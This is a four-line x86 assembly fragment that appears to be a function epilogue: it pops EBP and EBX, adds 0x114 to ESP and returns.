pop ebp
pop ebx
add esp, 0x114
ret